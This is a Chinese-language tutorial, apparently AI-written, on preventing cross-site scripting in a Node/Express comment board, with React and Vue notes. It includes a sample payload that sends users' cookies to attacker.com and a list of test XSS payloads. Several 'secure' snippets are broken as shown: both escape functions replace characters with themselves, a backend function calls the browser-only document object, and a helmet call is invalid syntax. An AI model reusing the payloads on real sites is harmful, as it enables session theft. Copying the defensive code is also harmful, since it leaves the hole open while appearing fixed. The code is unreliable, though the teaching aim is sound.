本文目录导读:

我来为你提供一个完整的防XSS(跨站脚本攻击)案例,从攻击场景到防御方案,全面讲解。
XSS攻击漏洞示例(错误示范)
存储型XSS - 留言板场景
// ❌ 有漏洞的代码
// 后端Node.js + Express
app.post('/api/comment', (req, res) => {
const comment = req.body.comment;
// 直接存储用户输入,未做任何处理
db.save({ comment: comment });
res.json({ success: true });
});
app.get('/api/comments', (req, res) => {
const comments = db.getAll();
// 直接返回给前端
res.json(comments);
});
<!-- ❌ 有漏洞的前端代码 -->
<div id="comments">
<!-- 直接插入HTML -->
</div>
<script>
fetch('/api/comments')
.then(res => res.json())
.then(comments => {
const container = document.getElementById('comments');
comments.forEach(c => {
// 危险操作!直接插入HTML
container.innerHTML += `<div class="comment">${c.comment}</div>`;
});
});
</script>
攻击效果:攻击者提交评论:
<script>
// 窃取用户Cookie
fetch('https://attacker.com/steal?cookie=' + document.cookie);
// 或重定向到钓鱼网站
// window.location = 'https://phishing-site.com';
</script>
<img src="x" onerror="alert('XSS攻击成功')">
安全防御方案(正确示范)
1 后端防御层
// ✅ 安全的后端代码
const express = require('express');
const xss = require('xss'); // 使用xss库
const helmet = require('helmet');
const app = express();
app.use(helmet()); // 设置安全HTTP头
// HTML转义函数
function escapeHTML(str) {
const div = document.createElement('div');
div.textContent = str;
return div.innerHTML;
}
// 或者使用专门的XSS过滤库
const xssOptions = {
whiteList: {
'a': ['href', 'title', 'target'],
'p': [],
'br': [],
'strong': [],
'em': []
},
stripIgnoreTag: true,
onTagAttr: (tag, name, value, isWhiteAttr) => {
if (name === 'href' && value.startsWith('javascript:')) {
return '';
}
}
};
app.post('/api/comment', (req, res) => {
// 方案1:简单转义
// const cleanComment = escapeHTML(req.body.comment);
// 方案2:使用xss库白名单过滤
const cleanComment = xss(req.body.comment, xssOptions);
// 方案3:使用DOMPurify(推荐)
// const cleanComment = DOMPurify.sanitize(req.body.comment);
db.save({ comment: cleanComment });
res.json({ success: true });
});
2 前端安全渲染方案
<!-- ✅ 安全的前端代码 - 使用textContent而非innerHTML -->
<div id="comments"></div>
<script>
// 方法1:使用textContent(推荐)
fetch('/api/comments')
.then(res => res.json())
.then(comments => {
const container = document.getElementById('comments');
comments.forEach(c => {
const div = document.createElement('div');
div.className = 'comment';
div.textContent = c.comment; // ✅ 自动转义,安全
container.appendChild(div);
});
});
</script>
// 方法2:安全的HTML模板(不推荐但提供方案)
function safeRender() {
const userInput = '<script>alert("xss")</script>';
// ❌ 错误
// const dangerous = `<div>${userInput}</div>`;
// ✅ 正确 - 使用escape函数
const escapeHtml = (unsafe) => {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
};
const safe = `<div>${escapeHtml(userInput)}</div>`;
return safe;
}
3 前端框架的安全实践
// ✅ React安全写法
import DOMPurify from 'dompurify';
function Comment({ comment }) {
// 正确方式:React自动转义
return <div>{comment}</div>; // ✅ React默认转义
// 错误方式:使用dangerouslySetInnerHTML
// return <div dangerouslySetInnerHTML={{ __html: comment }} />; // ❌ 危险
}
// ✅ Vue安全写法
Vue.component('comment', {
template: `
<div>
<!-- ✅ 正确:自动转义 -->
{{ comment }}
<!-- ❌ 错误:使用v-html(仅在可信内容时使用) -->
<!-- <div v-html="comment"></div> -->
</div>
`
});
4 综合防御方案
// 完整的XSS防御类
class XSSProtection {
constructor() {
this.blacklist = ['script', 'style', 'iframe', 'object', 'embed'];
}
// 输入验证
validateInput(input) {
if (typeof input !== 'string') return '';
// 移除危险标签
let safe = input;
this.blacklist.forEach(tag => {
const regex = new RegExp(`<${tag}[^>]*>.*?<\\/${tag}>`, 'gi');
safe = safe.replace(regex, '');
});
// 移除事件属性
safe = safe.replace(/\son\w+\s*=/gi, ' data-safe-');
// 移除javascript:协议
safe = safe.replace(/href\s*=\s*["']?\s*javascript:/gi, '#');
// HTML实体编码
safe = this.encodeHTMLEntities(safe);
return safe;
}
// HTML实体编码
encodeHTMLEntities(str) {
const entities = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
};
return str.replace(/[&<>"'/]/g, char => entities[char]);
}
// URL安全验证
isValidURL(url) {
const allowedProtocols = ['http:', 'https:', 'mailto:'];
try {
const parsed = new URL(url);
return allowedProtocols.includes(parsed.protocol);
} catch {
return false;
}
}
// 防止DOM clobbering
preventDOMClobbering(html) {
return html.replace(/id\s*=\s*["'](window|document|location)/gi, 'id="safe-$1"');
}
}
// 使用示例
const protection = new XSSProtection();
const userInput = '<script>alert("XSS")</script>';
const safeInput = protection.validateInput(userInput);
console.log(safeInput); // 安全处理后的文本
测试用例
// 测试用例集合
const testCases = [
{
input: '<script>alert("XSS")</script>',
description: '基础script标签'
},
{
input: '<img src="x" onerror="alert(1)">',
description: '事件处理器'
},
{
input: '<a href="javascript:alert(1)">Click</a>',
description: 'JavaScript协议'
},
{
input: '<iframe src="https://evil.com"></iframe>',
description: 'iframe注入'
},
{
input: '"><svg onload="alert(1)">',
description: 'SVG注入'
},
{
input: '<div style="background:url(javascript:alert(1))">',
description: 'CSS注入'
}
];
// 测试防御效果
testCases.forEach(test => {
const cleaned = protection.validateInput(test.input);
console.log(`案例: ${test.description}`);
console.log(`输入: ${test.input}`);
console.log(`输出: ${cleaned}`);
console.log('---');
});
安全配置清单
// 安全配置汇总
const securityConfig = {
// CSP头配置
contentSecurityPolicy: {
directives: {
'default-src': ["'self'"],
'script-src': ["'self'", "'unsafe-inline'"], // 尽量避免unsafe-inline
'style-src': ["'self'", "'unsafe-inline'"],
'img-src': ["'self'", 'data:', 'https:'],
'object-src': ["'none'"]
}
},
// 其他安全头
headers: {
'X-Frame-Options': 'DENY', // 防止点击劫持
'X-Content-Type-Options': 'nosniff', // 防止MIME类型混淆
'X-XSS-Protection': '1; mode=block', // 启用浏览器XSS过滤
'Referrer-Policy': 'strict-origin-when-cross-origin'
}
};
// Express应用配置
app.use(helmet(contentSecurityPolicy: securityConfig.contentSecurityPolicy));
app.use(helmet(securityConfig.headers));
最佳实践总结
- 输入验证:永远不要信任用户输入,进行严格的验证和过滤
- 输出编码:在输出到HTML时进行适当的编码
- 使用安全API:优先使用
textContent而非innerHTML - CSP头:配置Content Security Policy限制资源加载
- 框架安全特性:利用React/Vue等框架的自动转义功能
- 安全库:使用DOMPurify、xss等成熟的安全库
- 定期审计:使用自动化工具进行安全扫描
通过以上多层防御措施,可以有效防止XSS攻击,保护用户数据和系统安全。